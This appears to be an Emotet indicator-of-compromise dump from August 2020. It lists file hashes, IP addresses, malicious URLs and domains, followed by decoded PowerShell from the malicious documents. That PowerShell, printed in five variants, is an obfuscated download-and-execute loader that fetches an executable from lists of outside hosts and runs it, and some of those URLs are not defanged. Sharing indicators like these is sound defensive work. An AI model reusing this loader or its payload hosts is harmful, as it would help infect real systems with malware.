Emotet_Doc_out_2020-08-30_22_15.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
30d745dfd526c1a2064624e8e99637e5145fb2f83fb61955173c14c3f31f6173
c6fbe26a69de6c684e24b5438000839980b291ba697b3749c226ee5871517433
58dd523afcefc35f414efc196cf471628390b4de61dfe313be73b0bbb018f7f4
2886d496abaf658713c317fb3ff2a114cd11cc4ee15d4f3fb0a64480f19e9b39
2d1e9adf95e428e4ea47c329589ce2289531b30aadc3c79606788b4269bc21e7
07ccd6607f330323db0d8de14d03287cea64ab1cf61f9524c74f9504252db9dd
96da6ab1e0ee2ac225b565c79240a75055dc6f4e7fb64cfc300159aee80538d2
96da6ab1e0ee2ac225b565c79240a75055dc6f4e7fb64cfc300159aee80538d2
f98372d1fff549ac8c7a1518ff72e9854ade0e34ea6a808b73f1c0c83bd61a62
f98372d1fff549ac8c7a1518ff72e9854ade0e34ea6a808b73f1c0c83bd61a62
67fe9aa6843a58f85b959469d70926c6b028d3cd880f1ff36bd050e9d50be649
8c0f6c82055ff637662504c8d8d9e626d3d0c9fa2aec0680508a66378f86ca8e
d724b42dbe531b743ecc86f604d37b0396ab677632a71ab24ab9e48442910033
1183c3e3ce698e995f25ecf45a98cebceea253ff0caab2bbef1eb4c4c178eda6
1183c3e3ce698e995f25ecf45a98cebceea253ff0caab2bbef1eb4c4c178eda6
a6421cf41552314c72a3681a97db91dc055d59b00ebc356b7fd16dac2cb2c2e9
730e81b011ac63d4fc0f9de8838eaf662444ea1bffbe4a833cfc2ddeeca3bf4d
c307e3090ae067508fdd3f4d5156a5299feaa2262cddc28f8804faa0a781708e
c307e3090ae067508fdd3f4d5156a5299feaa2262cddc28f8804faa0a781708e
1e4247cd718e3c8e11d41fff2bcb19571e03a5ab290cd2073caf398878cb6648
1e4247cd718e3c8e11d41fff2bcb19571e03a5ab290cd2073caf398878cb6648
897badf4396e30453715e24d47447d219f4fd288e60ae52935136278138dedca
897badf4396e30453715e24d47447d219f4fd288e60ae52935136278138dedca
56385c138dcd6e1f59be2fadd0cb3e78305d5a8b74de904c00ca85d68aa84809
56385c138dcd6e1f59be2fadd0cb3e78305d5a8b74de904c00ca85d68aa84809
f80b4ec541f3da2d5ada150168f35f668716018ac8acd5b4e9d9bbe62b19d6d6
f80b4ec541f3da2d5ada150168f35f668716018ac8acd5b4e9d9bbe62b19d6d6
0d9a579f2f169229f5439c8401e5545d716cabb01c7f28c012c5a986d940a312
0d9a579f2f169229f5439c8401e5545d716cabb01c7f28c012c5a986d940a312
f0ec568457d6f380ec1e75acb162fe74de93713126f909ad368b864254ee13cc
f0ec568457d6f380ec1e75acb162fe74de93713126f909ad368b864254ee13cc
3ddf3600b1feb4c4e8a3ae126b798a2e61ff41794ff84e9f28d87080811c4899
9d209c359c80368b531cd1d1c812f4ca7d8fe2e5467b241041d28dcf99d7ec66
b5c5fc4d3de87e3174f6e79188decd4ded4988161b502cf4159cc13d2e2f0ea0
18203527979b2be3e6d512e9fa1fc1e9cfead8c30fe0d06c0a6ab510a73b6451
18203527979b2be3e6d512e9fa1fc1e9cfead8c30fe0d06c0a6ab510a73b6451
e0aa87a9d82d18e218390ecf26ed8eaeb0bbbb9e652c3c760539fc740c68ff21
798fa24a312fc18e715c247706075396ce5066ed9dec1cd06729b042838bbb37
798fa24a312fc18e715c247706075396ce5066ed9dec1cd06729b042838bbb37
74fd5e51184bd860adf8fa2da123bfc7876d06d7ac5007da67eb4a56f54640a8
74fd5e51184bd860adf8fa2da123bfc7876d06d7ac5007da67eb4a56f54640a8
3ce61beec7c59946671f66c95089b744c2e1414a8e6289eb4a02d6476321da6d
3ce61beec7c59946671f66c95089b744c2e1414a8e6289eb4a02d6476321da6d
689288356f668574fb132279eab34490f3f6abc79433063c07d2477300a4a32a
7f72415635bc84a1817ca1ea3201667e9451436ba14e10f598de058e1cebc2c2
7f72415635bc84a1817ca1ea3201667e9451436ba14e10f598de058e1cebc2c2
4cbee3725eca97cda410122ff7947f2643b4ad354927f67dedc29d8e44c98117
d0d12544f57b987e6e09077f62dea7b99de6c4100a3b540f8e39861d3cfc4b2f
d0d12544f57b987e6e09077f62dea7b99de6c4100a3b540f8e39861d3cfc4b2f
8b9aa31842ccfc09b0b7619dcfee98da608c7909bb03b3afb0922746bc4dab8f
8b9aa31842ccfc09b0b7619dcfee98da608c7909bb03b3afb0922746bc4dab8f
91729212a1e8ce3d8a7de3848bc5b330272540ed0d91da03b34e3542ae32f787
573864503d389dfb8bf847dfd669189542be08f2959b72b16f4cd23931c5e5f2
134eb37b4994e7269dcfdac0248096f77ab656c33c4b47d804500cef9b753739
8d6ed1644ea36186441d45be50bd38bdb270aebe073ea0ec7e8748a3e48840ac
8d6ed1644ea36186441d45be50bd38bdb270aebe073ea0ec7e8748a3e48840ac
f92128230e2cf542c3940976ff2ad649d74a6a7efb821f5ca8bf132ffa56b6d1
f92128230e2cf542c3940976ff2ad649d74a6a7efb821f5ca8bf132ffa56b6d1
fb2ffb3aa6e2a0f7a272c7bae05e700460c73f88daef8b34d0ae4332116d3ee2
8e0a43dba192a9953d51771fbb1935e32f67fe8ec37566325e406fecd46c36a6
8e0a43dba192a9953d51771fbb1935e32f67fe8ec37566325e406fecd46c36a6
ed5dae655a6d1ea9cdec3a14d743c3ac2e538369d6fddaf72ab280fd29311cae
e189a7569815651cf514dcabf42ee4991cc49f7653402684fbf55db8353f7908
e189a7569815651cf514dcabf42ee4991cc49f7653402684fbf55db8353f7908
6f296e8c922610d12c3bdbfa9e74b64f36fa439a6a3c89f328fdcb4893768c5a
61b07086c4af9bc5e487df0064a1d6431f11271b1ac405e22e0e47e5f4af7073
61b07086c4af9bc5e487df0064a1d6431f11271b1ac405e22e0e47e5f4af7073
bbc0eae477256f89197e5444d0c56c9d942ef98593c60569ebc0c33dc28f6f21
6526e84f5253eee143ee460c698ef3312b732034a8984f54126a78e413143ea0
0187bb23d3c816a8fa4fdac5bf0757f9fd1cf665e02c084ff2bde0960ed39d6e
55a1a4fea8a1bd1928cf3c8eab69082426f994233d98abbcabf81ded00250ab5
d9ed3d5094558de6886e6c91e9ebf9f4467d79cac47d606fccea949340120dcf
d9ed3d5094558de6886e6c91e9ebf9f4467d79cac47d606fccea949340120dcf
e5cbe16ff82c0a8778906a889f99a6cc41def9921e1944cf107eab74e277559b
e5cbe16ff82c0a8778906a889f99a6cc41def9921e1944cf107eab74e277559b
25facaf6855fac1ac3e4bf5b5447f6a9900358b45271afe335ddbb6543095439
55f22da0d85290f3927e7385227f17d48ef6dc32b92fbd150dc63c4766a9df86


IPs:
104.149.216.158
104.244.99.118
107.180.21.23
108.60.15.57
148.66.138.103
157.7.188.241
166.62.28.124
175.41.40.77
185.12.108.170
185.6.139.251
187.45.240.11
188.64.187.125
192.185.197.17
195.8.206.151
198.12.226.9
198.20.120.146
207.210.232.36
219.118.65.26
23.94.156.241
35.213.187.9
37.72.98.117
43.229.84.164
46.183.10.79
50.87.41.23
64.90.36.194
66.33.212.226
66.33.221.114
67.23.236.104
68.171.208.146
68.183.129.120
75.119.202.167
83.96.252.31
93.89.20.2
94.130.134.49
94.199.178.186



URLs:
hxxps://planetbolt.com/wp-includes/g4/
hxxps://reikirelax.xyz/temp/3a/
hxxp://suzukistallion.com/web/OuGmx/
hxxp://www.rupeefriend.com/cgi-bin/B8o7V/
hxxp://szoboszlorhinos.hu/available-array/8ET0E/
hxxp://sujest.com/tv/6CyPKSX/
hxxp://t-infinity.com/sites/Hfaev/."SP`lIT"[char]42;
hxxp://darcyaraya.com/cgi-bin/attach/mjGZ/
hxxp://tohohop.net/bot/file/VcFQqtQn/."SP`liT"[char]42;
hxxp://aboveandbelow.com.au/cgi-bin/Lbi20Tu/
hxxp://printed.com.mx/fonts/E6a/."sP`LIT"[char]42;
hxxp://wit-consul.com/recruit/A7x/


Domains:
planetbolt.com
reikirelax.xyz
suzukistallion.com
www.rupeefriend.com
szoboszlorhinos.hu
sujest.com
t-infinity.com
darcyaraya.com
tohohop.net
aboveandbelow.com.au
printed.com.mx
wit-consul.com


Decoded Base64 Powershell:
$Fi66up5=D1f71cx;
.new-item $EnV:TeMp\oFFiCE2019 -itemtype DIreCTory;
[Net.ServicePointManager]::"sE`cUrI`TY`proToCOL" = tls12, tls11, tls;
$R7xfnui = An9saa;
$A9j7myu=Nfzx_16;
$Gukmcvf=$env:tempYWrOffice2019YWr-CReplACE [char]89[char]87[char]114,[char]92$R7xfnui.exe;
$V2nhnpk=Pireaw2;
$S2ugbkm=.new-object net.weBclIEnt;
$Pdwvhl1=hxxps://planetbolt.com/wp-includes/g4/
hxxps://reikirelax.xyz/temp/3a/
hxxp://suzukistallion.com/web/OuGmx/
hxxp://www.rupeefriend.com/cgi-bin/B8o7V/
hxxp://szoboszlorhinos.hu/available-array/8ET0E/
hxxp://sujest.com/tv/6CyPKSX/
hxxp://t-infinity.com/sites/Hfaev/."SP`lIT"[char]42;
$Fu58lts=P5x1bqx;
foreach$Bnq6iuz in $Pdwvhl1{try{$S2ugbkm."dOW`Nl`oADF`IlE"$Bnq6iuz, $Gukmcvf;
$F2e2y4l=Rxkdhp7;
If .Get-Item $Gukmcvf."l`e`NGth" -ge 37965 {&Invoke-Item$Gukmcvf;
$Ypq89lk=Cxt4uvf;
break;
$A9js_dp=Fjyjocf}}catch{}}$Tldbhuk=Vrug34e$Gm9isat=E9g7kgn;
&new-item $env:temp\word\2019\ -itemtype DiReCTOrY;
[Net.ServicePointManager]::"seCUR`ITY`p`R`OTOcOl" = tls12, tls11, tls;
$Oh0sx41 = Btsx8m4p;
$Bzukeli=Zpou2rj;
$H9giwq9=$env:tempeXNwordeXN2019eXN."Rep`L`ACe"[chAR]101[chAR]88[chAR]78,[STRING][chAR]92$Oh0sx41.exe;
$Xcykceo=Kqdldb7;
$Bbt3udv=.new-object nET.WeBCLient;
$Whqj3jw=hxxp://blindshade.com/asc-ga/attach/PsysR/
hxxp://darcyaraya.com/cgi-bin/attach/mjGZ/
hxxp://desolcasa.com/libraries/vIIrdbnIpR/
http://pontualpromocoes.com.br/SITE_OLD/attach/WJUj/
hxxps://s-tech.hu/contactform/FMRA/
hxxps://toprakmedia.com/file/JZvy/
hxxp://tohohop.net/bot/file/VcFQqtQn/."SP`liT"[char]42;
$N0rl__b=Y9k2_am;
foreach$Ax9y1r0 in $Whqj3jw{try{$Bbt3udv."DoWnLOad`Fi`lE"$Ax9y1r0, $H9giwq9;
$Fhajefi=I17zh96;
If &Get-Item $H9giwq9."L`ENgtH" -ge 39050 {.Invoke-Item$H9giwq9;
$Wb3a0p8=Ame5x6o;
break;
$Bc7bwpn=O_jenqa}}catch{}}$Ihf0uaj=Cid5ddz$P3d84ni=Uf0mwrl;
.new-item $EnV:tEmp\WOrD\2019\ -itemtype DIRECtoRY;
[Net.ServicePointManager]::"sEC`Uri`TYPROTOc`ol" = tls12, tls11, tls;
$Elv9fgg = Sks2c17;
$Kl27x9v=Fpepp83;
$M6h7dk8=$env:temp{0}word{0}2019{0} -F[cHar]92$Elv9fgg.exe;
$Qcd9mv9=Ajj7yqb;
$Vs6_vjv=&new-object net.wEBclient;
$Om69hi6=hxxp://aboveandbelow.com.au/cgi-bin/Lbi20Tu/
hxxps://amacshowerscreens.com.au/wp-includes/K5/
http://athleteacademy.net/wp-admin/VDDlV/
http://www.jayamelectronics.com/assets/TwgdI/
hxxp://intelligence.com.sg/registration/JGX3I/
http://sorvetesbrotinho.com.br/novo/8edJm/
hxxp://printed.com.mx/fonts/E6a/."sP`LIT"[char]42;
$X5sswms=O3egm78;
foreach$Jnt2hs4 in $Om69hi6{try{$Vs6_vjv."DOWNL`oA`D`File"$Jnt2hs4, $M6h7dk8;
$Moe_w99=Jb7nyzs;
If &Get-Item $M6h7dk8."l`EngTH" -ge 35201 {&Invoke-Item$M6h7dk8;
$Ftvoktk=Gnuq3ne;
break;
$Loklbk9=Qeureg7}}catch{}}$J3dmloh=Vpovnow$U5j7_a4=Mlgfygt;
&new-item $enV:TEMP\WoRD\2019\ -itemtype DirecTOrY;
[Net.ServicePointManager]::"Se`curitYPr`oTo`cOL" = tls12, tls11, tls;
$Syibokh = Dn2wpeq;
$Yx67miy=I85koz9;
$Tdvz_3r=$env:tempPUNwordPUN2019PUN -CrepLacE  PUN,[CHaR]92$Syibokh.exe;
$Hwhywl3=D78buwj;
$A1jrz_4=&new-object NET.webClieNT;
$Pobvuvj=http://nurtandemir.com.tr/n/
http://www.jhomiorganiccotton.com/cgi-bin/qqeO0VU/
hxxp://wit-consul.com/recruit/A7x/
hxxp://www.cedem.com.br/cgi-bin/QaxzC/
hxxp://ozzpot.com/assets/I/
https://xelnetportal.nl/catalog/DyaBD2/
hxxp://premieroneescrow.com/PreOneMap/K/."s`Plit"[char]42;
$Jq0nf8x=Rf62mj0;
foreach$Hsvxdyu in $Pobvuvj{try{$A1jrz_4."Do`Wnl`O`ADFiLE"$Hsvxdyu, $Tdvz_3r;
$Lal484i=Wl2rmxq;
If .Get-Item $Tdvz_3r."leN`GtH" -ge 34231 {.Invoke-Item$Tdvz_3r;
$D891uun=Yaqrah7;
break;
$Lwukq3v=Jr6gf9b}}catch{}}$Dchma27=Y5_43e6$Ytmj_hl=Aqn9d5s;
&new-item $Env:TEmp\wOrD\2019\ -itemtype DIRectoRy;
[Net.ServicePointManager]::"SecU`R`I`TYpRoTO`CoL" = tls12, tls11, tls;
$Njqzsy9 = Bpvuyyev;
$B75zbyv=O_hxkba;
$Fhe6yp_=$env:tempDxOwordDxO2019DxO."R`EPLacE"DxO,\$Njqzsy9.exe;
$L6icbm1=Vxcco9k;
$Pvq423t=&new-object nET.WEBClIent;
$Zwsodf2=hxxp://thirumarantech.com/Vallivilas/attach/zhT/
hxxp://www.e-ido.com/Jacinta/UlsoWIDCQeCl/
hxxp://invoice.ae/cuhqw/
hxxps://www.infoquick.co.uk/repairs_demo/flhNywUb/
http://iowawebhosting.com/wp-content/file/MJaXnuo/
hxxp://kittstr.com/crackerbox/attach/FIWw/
hxxp://jason.net.br/app/js/jquery/font-awesome-4.5.0/r635473/."SP`lit"[char]42;
$Tx8lr00=Umu6l04;
foreach$Guf82_t in $Zwsodf2{try{$Pvq423t."Dow`Nl`oadF`ILE"$Guf82_t, $Fhe6yp_;
$Pxh58tv=Ec6pvsi;
If &Get-Item $Fhe6yp_."L`eNgtH" -ge 31865 {&Invoke-Item$Fhe6yp_;
$U7xfzpr=Lk146r7;
break;
$Ss32rtj=Efpeuhk}}catch{}}$Yesdfj7=S9qi79l